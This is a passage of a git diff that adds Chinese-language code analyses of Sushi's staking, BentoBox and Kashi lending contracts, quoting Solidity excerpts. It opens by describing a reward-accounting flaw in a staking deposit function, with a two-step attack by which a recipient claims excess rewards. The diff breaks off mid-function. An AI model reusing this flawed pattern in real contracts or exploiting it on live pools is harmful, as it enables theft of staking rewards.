+function _deposit(uint amount, address to) internal update(msg.sender) {
+    _totalSupply += amount;
+    _balanceOf[to] += amount;
+    _safeTransferFrom(stake, msg.sender, address(this), amount);
+    emit Deposit(msg.sender, amount);
+}
+
+```
+
+在上面的例子中，update始终更新的是msg.sender这个用户的状态，并没有更新address To的状态。这会导致如下的一种攻击模式：
+
+1. alice调用deposit方法，传入的地址recipient是bob
+2. bob调用withdraw方法，此时bob得到的sushi数量为：
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=$Reward_{bob}=l\cdotR\cdot\sum_{t=0}^{t}\frac{1}{L(t)}">-->
+$$
+$Reward_{bob} = l \cdot R \cdot \sum_{t=0}^{t}\frac{1}{L(t)}
+$$
+
+而不是应该得到的：
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=$Reward_{bob}=l\cdot(R\sum_{t=0}^{t}\frac{1}{L(t)}-R\cdot\sum_{t=0}^{t_0}\frac{1}{L(t)})">-->
+$$
+$Reward_{bob} = l \cdot (R \sum_{t=0}^{t}\frac{1}{L(t)} - R \cdot \sum_{t=0}^{t_0}\frac{1}{L(t)})
+$$
diff --git a/defi/Sushi/analyze/09-BentoBoxV1.md b/defi/Sushi/analyze/09-BentoBoxV1.md
new file mode 100644
index 000000000..5adddd518
--- /dev/null
+++ b/defi/Sushi/analyze/09-BentoBoxV1.md
@@ -0,0 +1,368 @@
+# 介绍  
+日语里，BentoBox 是便当盒；在 Sushi 里，BentoBox 是一个代币库，也被认为是一个渠道，既能够让用户用十分低的 Gas 体会到上面的多个 Dapp，也能够让开发者十分容易地、低成本地在上面进行使用开发。    
+目前，上面的第一个 Dapp 是借贷产品 Kashi，用户可在此放贷和借贷。    
+Bento Box 主体功能如下：  
+- Defi 应用在 Bento Box 上进行注册，成为 Bento Box 的一个会员  
+- 用户授权代币的 transferFrom 权限给 Bento Box   
+- 当用户需要使用该 Defi 项目时，可以直接生成签名给该 Defi 项目   
+通常用户使用 Defi 项目时，需要对该 Defi 项目进行 Approve ，这样该 Defi 项目才能使用用户的代币。然而在这里，因为用户已经授权给了 Bento Box ，需要进行资金转移的时候，统一通过 Bento Box 进行转移，减少了一次 Approve 的操作，从而节省了 Gas 。   
+- 该 Defi 项目调用 Bento Box 的 deposit ，Bento Box 转移用户资金到 Bento Box，同时设置该 Defi 可以使用的资金额度。同时这样操作还有另一个好处，后面分析代码时会进行介绍     
+
+## 合约分析  
+Bento Box 的合约接口很多，这里按照用户的角度，从 Defi 项目注册到用户操作这一过程进行分析，中间忽略次要的接口   
+
+- registerProtocol   
+Defi 合约的注册接口，后续 Bento Box 判断该 Defi 项目是否可以操作用户资金时都会用到这个数据项   
+```solidity
+/// @notice Other contracts need to register with this master contract so that users can approve them for the BentoBox.
+function registerProtocol() public {
+        masterContractOf[msg.sender] = msg.sender;
+        emit LogRegisterProtocol(msg.sender);
+    }
+```
+
+- whitelistMasterContract   
+只有 Bento Box 所有者才能调用，用于设置 whitelist 白名单。 
+当用户对处于 whitelist 中的合约进行授权或取消授权时，就不需要发送 ECDSA 签名信息。  
+```solidity
+/// @notice Enables or disables a contract for approval without signed message.
+function whitelistMasterContract(address masterContract, bool approved) public onlyOwner {
+        // Checks
+        require(masterContract != address(0), "MasterCMgr: Cannot approve 0");
+
+        // Effects
+        whitelistedMasterContracts[masterContract] = approved;
+        emit LogWhiteListMasterContract(masterContract, approved);
+    }
+```
+
+- setMasterContractApproval  
+调用这个接口后，表示用户是否授权对应的 Defi 合约操作用户的资金。  
+这个接口传入的参数 ECDSA 签名参数及相应的合约地址。 
+```solidity
+/// @notice Approves or revokes a `masterContract` access to `user` funds.
+    /// @param user The address of the user that approves or revokes access.
+    /// @param masterContract The address who gains or loses access.
+    /// @param approved If True approves access. If False revokes access.
+    /// @param v Part of the signature. (See EIP-191)
+    /// @param r Part of the signature. (See EIP-191)
+    /// @param s Part of the signature. (See EIP-191)
+    // F4 - Check behaviour for all function arguments when wrong or extreme
+    // F4: Don't allow masterContract 0 to be approved. Unknown contracts will have a masterContract of 0.
+    // F4: User can't be 0 for signed approvals because the recoveredAddress will be 0 if ecrecover fails
+    function setMasterContractApproval(
+        address user,
+        address masterContract,
+        bool approved,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) {
+        .......................
+        // Effects
+        masterContractApproved[masterContract][user] = approved;
+        emit LogSetMasterContractApproval(masterContract, user, approved);
+    }
+    }
+```
+
+- allowed  
+allowed 用于判断用户是否已经授权相应的 Defi 操作自己的资金。   
+如果已经授权才能进行后续操作，否则进行报错。这个修饰器作用在涉及用户资金操作的地方。
+```solidity
+modifier allowed(address from) {
+        if (from != msg.sender && from != address(this)) {
+            // From is sender or you are skimming
+            address masterContract = masterContractOf[msg.sender];
+            require(masterContract != address(0), "BentoBox: no masterContract");
+            require(masterContractApproved[masterContract][from], "BentoBox: Transfer not approved");
+        }
+        _;
+    }
+```
+
+- deposit  
+这里涉及的操作比较多，主要有以下几点：  
+    -  Bento Box 对每种代币都会记录一个 Rebase 的结构信息。 这个结构体中有两个字段，分别是 elastic 和 base 。 其中 elastic 记录的是真正的代币总余额，base 记录的是总的份额。举例来说，Defi_A 从用户处转入了 10 ETH ， 获得了 10 Base； Defi_B 从用户处转入了 20 ETH ，获得了 20 Base。 此时 Bento Box 中总共有 30 ETH，30 Base。所以记录的 elastic 为 30, base 为 30。因为 Bento Box 会利用这些资金去进行其他收益投资，比如进行闪电贷。过一段时间后，Bento Box 收益了 30 ETH ，那么此时记录的 elasetic 为 60 ( 获得的收益会同时记录的到 Rebase 结构体中 )，但是 base 还是为 30。 如果 Defi_A 进行提取的话，那么它能得到 60 * ( 10 / 30) = 20 ETH 。   
+    - 根据上述的说明，当 Defi 应用从用户处转入资金到 Bento Box 的时候，Bento Box 记录对应 Defi 拥有的资金为转入时的资金在资金池中的份额。    
+    - 调用 deposit 接口的时候，传入 2 个重要参数，即 amount 和 share，amount 即表示希望转入入的资金量， share 表示希望在资金池中的占比。当 share 参数不为 0 时，以 share 重新反算 amount ，避免数值不一致。   
+    - Bento Box 希望 Defi 应用能把资金存在 Bento Box 中，这样 Bento Box 这部分资金即可以用户赚取其他收益，还能给其他 Defi 项目提供必要的项目初期的流动性资金   
+
+```solidity
+/// @notice Deposit an amount of `token` represented in either `amount` or `share`.
+    /// @param token_ The ERC-20 token to deposit.
+    /// @param from which account to pull the tokens.
+    /// @param to which account to push the tokens.
+    /// @param amount Token amount in native representation to deposit.
+    /// @param share Token amount represented in shares to deposit. Takes precedence over `amount`.
+    /// @return amountOut The amount deposited.
+    /// @return shareOut The deposited amount repesented in shares.
+    function deposit(
+        IERC20 token_,
+        address from,
+        address to,
+        uint256 amount,
+        uint256 share
+    ) public payable allowed(from) returns (uint256 amountOut, uint256 shareOut) {
+        // Checks
+        require(to != address(0), "BentoBox: to not set"); // To avoid a bad UI from burning funds
+
+        // Effects
+        IERC20 token = token_ == USE_ETHEREUM ? wethToken : token_;
+        Rebase memory total = totals[token];
+
+        // If a new token gets added, the tokenSupply call checks that this is a deployed contract. Needed for security.
+        require(total.elastic != 0 || token.totalSupply() > 0, "BentoBox: No tokens");
+        if (share == 0) {
+            // value of the share may be lower than the amount due to rounding, that's ok
+            share = total.toBase(amount, false);
+            // Any deposit should lead to at least the minimum share balance, otherwise it's ignored (no amount taken)
+            if (total.base.add(share.to128()) < MINIMUM_SHARE_BALANCE) {
+                return (0, 0);
+            }
+        } else {
+            // amount may be lower than the value of share due to rounding, in that case, add 1 to amount (Always round up)
+            amount = total.toElastic(share, true);
+        }
+
+        // In case of skimming, check that only the skimmable amount is taken.
+        // For ETH, the full balance is available, so no need to check.
+        // During flashloans the _tokenBalanceOf is lower than 'reality', so skimming deposits will mostly fail during a flashloan.
+        require(
+            from != address(this) || token_ == USE_ETHEREUM || amount <= _tokenBalanceOf(token).sub(total.elastic),
+            "BentoBox: Skim too much"
+        );
+
+        balanceOf[token][to] = balanceOf[token][to].add(share);
+        total.base = total.base.add(share.to128());
+        total.elastic = total.elastic.add(amount.to128());
+        totals[token] = total;
+
+        // Interactions
+        // During the first deposit, we check that this token is 'real'
+        if (token_ == USE_ETHEREUM) {
+            // X2 - If there is an error, could it cause a DoS. Like balanceOf causing revert. (SWC-113)
+            // X2: If the WETH implementation is faulty or malicious, it will block adding ETH (but we know the WETH implementation)
+            IWETH(address(wethToken)).deposit{value: amount}();
+        } else if (from != address(this)) {
+            // X2 - If there is an error, could it cause a DoS. Like balanceOf causing revert. (SWC-113)
+            // X2: If the token implementation is faulty or malicious, it may block adding tokens. Good.
+            token.safeTransferFrom(from, address(this), amount);
+        }
+        emit LogDeposit(token, from, to, amount, share);
+        amountOut = amount;
+        shareOut = share;
+    }
+```
+
+- withdraw   
+和 deposite 类似 ，当 Defi 应用提取资金时，根据希望提取的资金份额，计算出对应的代币数量返还给 Defi 项目  
+```solidity
+/// @notice Withdraws an amount of `token` from a user account.
+    /// @param token_ The ERC-20 token to withdraw.
+    /// @param from which user to pull the tokens.
+    /// @param to which user to push the tokens.
+    /// @param amount of tokens. Either one of `amount` or `share` needs to be supplied.
+    /// @param share Like above, but `share` takes precedence over `amount`.
+    function withdraw(
+        IERC20 token_,
+        address from,
+        address to,
+        uint256 amount,
+        uint256 share
+    ) public allowed(from) returns (uint256 amountOut, uint256 shareOut) {
+        // Checks
+        require(to != address(0), "BentoBox: to not set"); // To avoid a bad UI from burning funds
+
+        // Effects
+        IERC20 token = token_ == USE_ETHEREUM ? wethToken : token_;
+        Rebase memory total = totals[token];
+        if (share == 0) {
+            // value of the share paid could be lower than the amount paid due to rounding, in that case, add a share (Always round up)
+            share = total.toBase(amount, true);
+        } else {
+            // amount may be lower than the value of share due to rounding, that's ok
+            amount = total.toElastic(share, false);
+        }
+
+        balanceOf[token][from] = balanceOf[token][from].sub(share);
+        total.elastic = total.elastic.sub(amount.to128());
+        total.base = total.base.sub(share.to128());
+        // There have to be at least 1000 shares left to prevent reseting the share/amount ratio (unless it's fully emptied)
+        require(total.base >= MINIMUM_SHARE_BALANCE || total.base == 0, "BentoBox: cannot empty");
+        totals[token] = total;
+
+        // Interactions
+        if (token_ == USE_ETHEREUM) {
+            // X2, X3: A revert or big gas usage in the WETH contract could block withdrawals, but WETH9 is fine.
+            IWETH(address(wethToken)).withdraw(amount);
+            // X2, X3: A revert or big gas usage could block, however, the to address is under control of the caller.
+            (bool success, ) = to.call{value: amount}("");
+            require(success, "BentoBox: ETH transfer failed");
+        } else {
+            // X2, X3: A malicious token could block withdrawal of just THAT token.
+            //         masterContracts may want to take care not to rely on withdraw always succeeding.
+            token.safeTransfer(to, amount);
+        }
+        emit LogWithdraw(token, from, to, amount, share);
+        amountOut = amount;
+        shareOut = share;
+    }
+```
+
+- flashLoan   
+Bento Box 支持的另一个重要的功能就是 flashloan ， 跟 Uniswap 的 flashloan 类似，转入资金到目标地址后，会进行相应的回调，之后检查余额是否正确。
+```solidity
+function flashLoan(
+        IFlashBorrower borrower,
+        address receiver,
+        IERC20 token,
+        uint256 amount,
+        bytes calldata data
+    ) public {
+        uint256 fee = amount.mul(FLASH_LOAN_FEE) / FLASH_LOAN_FEE_PRECISION;
+        token.safeTransfer(receiver, amount);
+
+        borrower.onFlashLoan(msg.sender, token, amount, fee, data);
+
+        require(_tokenBalanceOf(token) >= totals[token].addElastic(fee.to128()), "BentoBox: Wrong amount");
+        emit LogFlashLoan(address(borrower), token, amount, fee, receiver);
+    }
+```  
+
+- setStrategy   
+在解析 deposit 接口的时候，我们说到 Bento Box 会拿当前存入到 Bento Box 的资金去进行投资收益。那么对哪个币种施行何种投资策略呢，这个接口就是进行这种相应的设置。  
+这个接口的处理逻辑如下：  
+1） 当一个币种没有任何 strategy 或是 newstrategy 和当前已生效的 strategy 不相同时，当前传入的 strategy 置为 pending 状态，同时设置此币种的 strategyData.strategyStartDate 为两周之后，即两周之后此策略才能真正生效，避免误操作或是恶意攻击   
+2） 如果两周之后，当再此调用这个接口，同时传入同样的参数时，会把此币种的 pending strategy 置空，同时设置此币种的 strategy 为此 strategy   
+3） 如果两周之内，当再此调用这个接口，同时传入同样的参数时，接口会报错，报 strategy 生效时间未到  
+4） 如果在任意时候，调用此接口，传入的参数中，strategy 和处于 pending strategy 的地址不相同，那么就重新进入步骤 2 和 3
+5)  在步骤 2 执行成功，strategy 生效后，如果重新触发步骤 1，2 ，那么在执行步骤 2 的时候，会多进行一步操作，即执行旧 strategy 的 exit 操作，即从旧 strategy 中把资金提取回来。资金提取回来的同时，exit 接口会返回此次退出时返回的资金和初始存入的资金差额。如果此次退出的资金总量大于 Bento Box 初始存入的资金总量，那么返回的 amount 为正数，否则为负数。 然后根据返回的 amount 差值，更新 Rebase 结构体。  
+```solidity
+/// @notice Sets the contract address of a new strategy that conforms to `IStrategy` for `token`.
+    /// Must be called twice with the same arguments.
+    /// A new strategy becomes pending first and can be activated once `STRATEGY_DELAY` is over.
+    /// @dev Only the owner of this contract is allowed to change this.
+    /// @param token The address of the token that maps to a strategy to change.
+    /// @param newStrategy The address of the contract that conforms to `IStrategy`.
+    // F5 - Checks-Effects-Interactions pattern followed? (SWC-107)
+    // F5: Total amount is updated AFTER interaction. But strategy is under our control.
+    // C4 - Use block.timestamp only for long intervals (SWC-116)
+    // C4: block.timestamp is used for a period of 2 weeks, which is long enough
+    function setStrategy(IERC20 token, IStrategy newStrategy) public onlyOwner {
+        StrategyData memory data = strategyData[token];
+        IStrategy pending = pendingStrategy[token];
+        if (data.strategyStartDate == 0 || pending != newStrategy) {
+            pendingStrategy[token] = newStrategy;
+            // C1 - All math done through BoringMath (SWC-101)
+            // C1: Our sun will swallow the earth well before this overflows
+            data.strategyStartDate = (block.timestamp + STRATEGY_DELAY).to64();
+            emit LogStrategyQueued(token, newStrategy);
+        } else {
+            require(data.strategyStartDate != 0 && block.timestamp >= data.strategyStartDate, "StrategyManager: Too early");
+            if (address(strategy[token]) != address(0)) {
+                int256 balanceChange = strategy[token].exit(data.balance);
+                // Effects
+                if (balanceChange > 0) {
+                    uint256 add = uint256(balanceChange);
+                    totals[token].addElastic(add);
+                    emit LogStrategyProfit(token, add);
+                } else if (balanceChange < 0) {
+                    uint256 sub = uint256(-balanceChange);
+                    totals[token].subElastic(sub);
+                    emit LogStrategyLoss(token, sub);
+                }
+
+                emit LogStrategyDivest(token, data.balance);
+            }
+            strategy[token] = pending;
+            data.strategyStartDate = 0;
+            data.balance = 0;
+            pendingStrategy[token] = IStrategy(0);
+            emit LogStrategySet(token, newStrategy);
+        }
+        strategyData[token] = data;
+    }
+```
+
+- harvest   
+此接口用于对对应的币种进行收益提取，或更新进行收益的资金，具体逻辑如下：  
+1） 对 strategy 调用 harvest ，即进行收益提取；如果收益为 0 ，并且 balance 标志为 false ，则直接返回  
+2） 对 strategy 调用 harvest ，即进行收益提取；如果收益不为 0 ，则对应更新 Rebase 结构信息中的 elastic。需要注意的是，执行的 strategy 可能收益 （ balanceChange 为正 ）， 也可能亏损 （ balanceChange 为负 ）   
+3） 判断 balance 标志是否为 True，如果为 True 则执行相应的操作。这里 balance 的意义在于： 假如 Bento Box 的 strategy 一直收益，那么 Rebase 结构信息中的 elastic 一直增长，但因为 Bento Box 初始投入到 Strage 中的资金数额一直不变，这样会导致在收益高增长时期，无法最大化的享受收益增长。所以，需要按照对应的资金比例，对 strategy 进行资金追加投入； 同理，如果 strategy 一直在亏损，需要及时回撤部分资金，以免损失过大。
+```solidity
+/// @notice The actual process of yield farming. Executes the strategy of `token`.
+    /// Optionally does housekeeping if `balance` is true.
+    /// `maxChangeAmount` is relevant for skimming or withdrawing if `balance` is true.
+    /// @param token The address of the token for which a strategy is deployed.
+    /// @param balance True if housekeeping should be done.
+    /// @param maxChangeAmount The maximum amount for either pulling or pushing from/to the `IStrategy` contract.
+    // F5 - Checks-Effects-Interactions pattern followed? (SWC-107)
+    // F5: Total amount is updated AFTER interaction. But strategy is under our control.
+    // F5: Not followed to prevent reentrancy issues with flashloans and BentoBox skims?
+    function harvest(
+        IERC20 token,
+        bool balance,
+        uint256 maxChangeAmount
+    ) public {
+        StrategyData memory data = strategyData[token];
+        IStrategy _strategy = strategy[token];
+        int256 balanceChange = _strategy.harvest(data.balance, msg.sender);
+        if (balanceChange == 0 && !balance) {
+            return;
+        }
+
+        uint256 totalElastic = totals[token].elastic;
+
+        if (balanceChange > 0) {
+            uint256 add = uint256(balanceChange);
+            totalElastic = totalElastic.add(add);
+            totals[token].elastic = totalElastic.to128();
+            emit LogStrategyProfit(token, add);
+        } else if (balanceChange < 0) {
+            // C1 - All math done through BoringMath (SWC-101)
+            // C1: balanceChange could overflow if it's max negative int128.
+            // But tokens with balances that large are not supported by the BentoBox.
+            uint256 sub = uint256(-balanceChange);
+            totalElastic = totalElastic.sub(sub);
+            totals[token].elastic = totalElastic.to128();
+            data.balance = data.balance.sub(sub.to128());
+            emit LogStrategyLoss(token, sub);
+        }
+
+        if (balance) {
+            uint256 targetBalance = totalElastic.mul(data.targetPercentage) / 100;
+            // if data.balance == targetBalance there is nothing to update
+            if (data.balance < targetBalance) {
+                uint256 amountOut = targetBalance.sub(data.balance);
+                if (maxChangeAmount != 0 && amountOut > maxChangeAmount) {
+                    amountOut = maxChangeAmount;
+                }
+                token.safeTransfer(address(_strategy), amountOut);
+                data.balance = data.balance.add(amountOut.to128());
+                _strategy.skim(amountOut);
+                emit LogStrategyInvest(token, amountOut);
+            } else if (data.balance > targetBalance) {
+                uint256 amountIn = data.balance.sub(targetBalance.to128());
+                if (maxChangeAmount != 0 && amountIn > maxChangeAmount) {
+                    amountIn = maxChangeAmount;
+                }
+
+                uint256 actualAmountIn = _strategy.withdraw(amountIn);
+
+                data.balance = data.balance.sub(actualAmountIn.to128());
+                emit LogStrategyDivest(token, actualAmountIn);
+            }
+        }
+
+        strategyData[token] = data;
+    }
+```
+
+## 参考链接   
+- Proxy contract： https://blog.openzeppelin.com/deep-dive-into-the-minimal-proxy-contract/  
+- EIP1167: https://medium.com/taipei-ethereum-meetup/reason-why-you-should-use-eip1167-proxy-contract-with-tutorial-cbb776d98e53  
+- 克隆说明： https://ethereum.stackexchange.com/questions/78900/clone-factory-and-constructor-arguments   
+- Bento box 三大优势： http://www.jifengbtc.com/article/13487  
+- Bento box 官网介绍： https://docs.sushi.com/products/bentobox  
+- Bento box Strategy: https://github.com/sushiswap/bentobox/blob/master/contracts/strategies   
diff --git a/defi/Sushi/analyze/10-KashiPairMediumRiskV1.md b/defi/Sushi/analyze/10-KashiPairMediumRiskV1.md
new file mode 100644
index 000000000..cb8311cf8
--- /dev/null
+++ b/defi/Sushi/analyze/10-KashiPairMediumRiskV1.md
@@ -0,0 +1,296 @@
+# 介绍   
+Kashi 是一种将风险隔离的贷款组合解决方案，目前的解决方案允许用户提供多种抵押资产并借入另一组资产。如果一项资产的价格下跌速度超过清算人的反应速度，每位用户和每一项资产都会受到影响。Kashi 允许任何人都可以创建一个新交易对，就像任何人都可以创建一个 Sushi 交易对一样。  
+Kashi 的主体功能如下：  
+- 提供一对一的借贷，各个借贷池的资金彼此分开，互补影响。比如 WETH/DAI，WETH/WBTC 这两个借贷池子。存入 WETH， 可以借贷 DAI 和 WBTC 。 当  WETH/DAI 池子发生大规模清算的时候，不会影响到 WETH/WBTC 中的资金   
+- 每一个借贷池都支持闪电贷，用户可以进行闪电贷交易，之后偿还借贷金额及手续费即可  
+- 支持灵活的合约接口调度。Sushi 把 Kashi 中的每个接口使用数字编号进行了封装，用进行外部调用的时候，传入对应的数字编号即可调用对应功能接口   
+
+## 合约分析  
+Kashi 把所有用到的功能接口功能都写入到一个合约中间，导致合约非常的庞大，这里对主要的合约接口，按照业务顺序进行分析，之后再分析中间的辅助函数。    
+- 部署合约     
+Kashi 的构造函数，只有一个入参数，用于设置 bentoBox 地址，之后存入质押资金和借贷资金都会转入 BentoBox。   
+同时，在构造函数内，还设置了 feeTo 地址，用于接受借贷的手续费。  
+```solidity
+/// @notice The constructor is only used for the initial master contract. Subsequent clones are initialised via `init`.
+constructor(IBentoBoxV1 bentoBox_) public {
+        bentoBox = bentoBox_;
+        masterContract = this;
+        feeTo = msg.sender;
+    }
+```
+
+- 初始化借贷币种及 Oracle     
+在 init 接口中，传入 bytes 类型的参数，之后对参数进行解构，获取 collateral ( 出借的币种 ) 和 asset ( 质押的币种 )。  
+同时还会设置初始借贷费率 interestPerSecond 为 317097920。 如果按照年化进行计算的话：  
+年化利率 = 317097920 * 60 * 60 * 24 * 365  / 10**18  = 0.010 = 1%   
+```solidity
+/// @notice Serves as the constructor for clones, as clones can't have a regular constructor
+/// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData)
+function init(bytes calldata data) public payable override {
+        require(address(collateral) == address(0), "KashiPair: already initialized");
+        (collateral, asset, oracle, oracleData) = abi.decode(data, (IERC20, IERC20, IOracle, bytes));
+        require(address(collateral) != address(0), "KashiPair: bad pair");
+
+        accrueInfo.interestPerSecond = uint64(STARTING_INTEREST_PER_SECOND); // 1% APR, with 1e18 being 100%
+    }
+```
+
+- 用户借贷前抵押   
+跟其他的借贷协议一样，用户在借贷前需要抵押资产。   
+这个接口接受三个参数：  
+to：抵押资产的受益人，之后此用户可以根据抵押资产的大小进行更多的借贷   
+skim：用于判断抵押资产已经由用户手工转入给 Kashi ，还是需要由 BentoBox 代为转入  
+share：对于抵押的资产数额，需要获取的对应在 KaiShi 总抵押资产中所占的比例   
+需要进行说明的是，KaiShi 把所有的抵押资产都存入 BentoBox ，然后使用了一个变量 userCollateralShare 保存了用户当前抵押的资产在 BentoBox 资产池中所占的份额。  
+addAsset 同 addCollateral 类似，实际上是把对在 BentoBox 中的资产份额进行转移。但是 addAsset 的时候，也使用的一个 Rebase 结构体保存 Asset 信息 ( totalAsset )， 但 totalAsset.elastic 记录的是当前资产在 BentoBox 中份额，接着使用 balanceOf 记录用户在 totalAsset.elastic 中占据的总份额。
+```solidity
+/// @notice Adds `collateral` from msg.sender to the account `to`.
+/// @param to The receiver of the tokens.
+/// @param skim True if the amount should be skimmed from the deposit balance of msg.sender.
+/// False if tokens from msg.sender in `bentoBox` should be transferred.
+/// @param share The amount of shares to add for `to`.
+function addCollateral(
+        address to,
+        bool skim,
+        uint256 share
+    ) public {
+        userCollateralShare[to] = userCollateralShare[to].add(share);
+        uint256 oldTotalCollateralShare = totalCollateralShare;
+        totalCollateralShare = oldTotalCollateralShare.add(share);
+        _addTokens(collateral, share, oldTotalCollateralShare, skim);
+        emit LogAddCollateral(skim ? address(bentoBox) : msg.sender, to, share);
+    }
+```
+
+- 移除抵押资产    
+当用户需要移除抵押资产的时候，可以调用 removeCollateral 接口进行移除。  
+这里在移除资产前，会先调用 accrue 接口，更新出借费率，然后再把 Kashi 中的资产转移给用户。  
+这里抵押资产的移除，实际也是把在 BentoBox 中的资产份额进行移除。     
+removeAsset 接口类似，实际对在 BentoBox 中的资产份额进行移除。  
+```solidiy
+/// @dev Concrete implementation of `removeCollateral`.
+    function _removeCollateral(address to, uint256 share) internal {
+        userCollateralShare[msg.sender] = userCollateralShare[msg.sender].sub(share);
+        totalCollateralShare = totalCollateralShare.sub(share);
+        emit LogRemoveCollateral(msg.sender, to, share);
+        bentoBox.transfer(collateral, address(this), to, share);
+    }
+
+    /// @notice Removes `share` amount of collateral and transfers it to `to`.
+    /// @param to The receiver of the shares.
+    /// @param share Amount of shares to remove.
+    function removeCollateral(address to, uint256 share) public solvent {
+        // accrue must be called because we check solvency
+        accrue();
+        _removeCollateral(to, share);
+    }
+```
+
+- 用户进行借贷 && 偿还    
+用户调用 borrow & repay 接口进行借贷和偿还，和前面的 addCollateral 和 removeCollateral 接口一样，实际也是对 BentoBox 中的资产份额进行操作。   
+borrow 接口中使用 totalBorrow 结构体记录出借信息，其中 totalBorrow.elastic 记录的是出借币种的数量，userBorrowPart 记录用户所接币种的数量在 totalBorrow.elastic 中占据的份额，最后 totalBorrow.base 汇总所有借款用户的 userBorrowPart 。
+
+- 清算  
+清算部分的代码比较多，这里分开进行分析  
+1） 统计每个被清算用户需要被清算的份额   
+    - 根据每个用户的借款份额，计算所借币种到目前为止，需要偿还的借款数量 （ 这里同时算入了借款利息 ）  borrowAmount
+    - 根据转换费率，把 borrowAmount 转换为质押币种的数量  collateralAmount  
+    - 根据转换后质押币种的数量，再次把 collateralAmount 转换为对应在 BentoBox 中所占的份额  collateralShare
+    - 从 userCollateralShare 中对应扣除用户的 collateralShare   
+```solidity
+for (uint256 i = 0; i < users.length; i++) {
+            address user = users[i];
+            if (!_isSolvent(user, open, _exchangeRate)) {
+                uint256 borrowPart;
+                {
+                    uint256 availableBorrowPart = userBorrowPart[user];
+                    borrowPart = maxBorrowParts[i] > availableBorrowPart ? availableBorrowPart : maxBorrowParts[i];
+                    userBorrowPart[user] = availableBorrowPart.sub(borrowPart);
+                }
+                uint256 borrowAmount = _totalBorrow.toElastic(borrowPart, false);
+                uint256 collateralShare =
+                    bentoBoxTotals.toBase(
+                        borrowAmount.mul(LIQUIDATION_MULTIPLIER).mul(_exchangeRate) /
+                            (LIQUIDATION_MULTIPLIER_PRECISION * EXCHANGE_RATE_PRECISION),
+                        false
+                    );
+
+                userCollateralShare[user] = userCollateralShare[user].sub(collateralShare);
+                emit LogRemoveCollateral(user, swapper == ISwapper(0) ? to : address(swapper), collateralShare);
+                emit LogRepay(swapper == ISwapper(0) ? msg.sender : address(swapper), user, borrowAmount, borrowPart);
+
+                // Keep totals
+                allCollateralShare = allCollateralShare.add(collateralShare);
+                allBorrowAmount = allBorrowAmount.add(borrowAmount);
+                allBorrowPart = allBorrowPart.add(borrowPart);
+            }
+        }
+        require(allBorrowAmount != 0, "KashiPair: all are solvent");
+        _totalBorrow.elastic = _totalBorrow.elastic.sub(allBorrowAmount.to128());
+        _totalBorrow.base = _totalBorrow.base.sub(allBorrowPart.to128());
+        totalBorrow = _totalBorrow;
+        totalCollateralShare = totalCollateralShare.sub(allCollateralShare);
+
+        uint256 allBorrowShare = bentoBox.toShare(asset, allBorrowAmount, true);
+
+```
+
+2) 进行开放式或是封闭式的结算   
+总的来说，这部分功能就把质押的币换算成出借的币种，然后计算手续费，更新 Kashi 在 BentoBox 中的配额。
+    - 当用户选择封闭式进行结算的时候，使用的是 allBorrowShare 和 allCollateralShare 进行结算。即使用对应资产数量在 BentoBox 中所占的份额来进行结算。具体结算过程为，把需要结算的  BorrowShare 和 CollateralShare 发送给 swapper 进行处理；然后计算实际返还的 BorrowShare 的 feeShare ( 即手续费 )   
+    - 当用户选择开放式结算的时候，不进行手续费的结算  
+```solidity
+if (!open) {
+            // Closed liquidation using a pre-approved swapper for the benefit of the LPs
+            require(masterContract.swappers(swapper), "KashiPair: Invalid swapper");
+
+            // Swaps the users' collateral for the borrowed asset
+            bentoBox.transfer(collateral, address(this), address(swapper), allCollateralShare);
+            swapper.swap(collateral, asset, address(this), allBorrowShare, allCollateralShare);
+
+            uint256 returnedShare = bentoBox.balanceOf(asset, address(this)).sub(uint256(totalAsset.elastic));
+            uint256 extraShare = returnedShare.sub(allBorrowShare);
+            uint256 feeShare = extraShare.mul(PROTOCOL_FEE) / PROTOCOL_FEE_DIVISOR; // % of profit goes to fee
+            // solhint-disable-next-line reentrancy
+            bentoBox.transfer(asset, address(this), masterContract.feeTo(), feeShare);
+            totalAsset.elastic = totalAsset.elastic.add(returnedShare.sub(feeShare).to128());
+            emit LogAddAsset(address(swapper), address(this), extraShare.sub(feeShare), 0);
+        } else {
+            // Swap using a swapper freely chosen by the caller
+            // Open (flash) liquidation: get proceeds first and provide the borrow after
+            bentoBox.transfer(collateral, address(this), swapper == ISwapper(0) ? to : address(swapper), allCollateralShare);
+            if (swapper != ISwapper(0)) {
+                swapper.swap(collateral, asset, msg.sender, allBorrowShare, allCollateralShare);
+            }
+
+            bentoBox.transfer(asset, msg.sender, address(this), allBorrowShare);
+            totalAsset.elastic = totalAsset.elastic.add(allBorrowShare.to128());
+        }
+```
+
+- 提取手续费  
+调用 withdrawFees 接口，可以把用户借贷产生的手续费发送到 _feeTo 地址上  
+```solidity
+function withdrawFees() public {
+        accrue();
+        address _feeTo = masterContract.feeTo();
+        uint256 _feesEarnedFraction = accrueInfo.feesEarnedFraction;
+        balanceOf[_feeTo] = balanceOf[_feeTo].add(_feesEarnedFraction);
+        accrueInfo.feesEarnedFraction = 0;
+
+        emit LogWithdrawFees(_feeTo, _feesEarnedFraction);
+    }
+```
+
+- 其他辅助接口   
+    - accrue  利率结算接口。主体功能如下：  
+    1） 当目前没有任何借贷时，更新借贷利率为 STARTING_INTEREST_PER_SECOND = 317097920; ( approx 1% APR ) 
+    2） 计算当前时刻距离上一次结算所经过的时间 （ 秒数 ） elapsedTime ，然后计算总 extraAmount  
+    3） 根据总利息 extraAmount 计算手续费 feeAmount   
+    3） 把 feeAmount 换算成 feeFraction （ 即占质押资产份额中的份额 ）   
+    4） 根据当前资金的借贷使用率更新借贷利率，即如果借贷使用率大于目标使用率，则增大借款利率；反之，如果资金借贷使用率效率目标使用率，则减小借款利率  
+
+```solidity
+/// @notice Accrues the interest on the borrowed tokens and handles the accumulation of fees.
+    function accrue() public {
+        AccrueInfo memory _accrueInfo = accrueInfo;
+        // Number of seconds since accrue was called
+        uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued;
+        if (elapsedTime == 0) {
+            return;
+        }
+        _accrueInfo.lastAccrued = uint64(block.timestamp);
+
+        Rebase memory _totalBorrow = totalBorrow;
+        if (_totalBorrow.base == 0) {
+            // If there are no borrows, reset the interest rate
+            if (_accrueInfo.interestPerSecond != STARTING_INTEREST_PER_SECOND) {
+                _accrueInfo.interestPerSecond = STARTING_INTEREST_PER_SECOND;
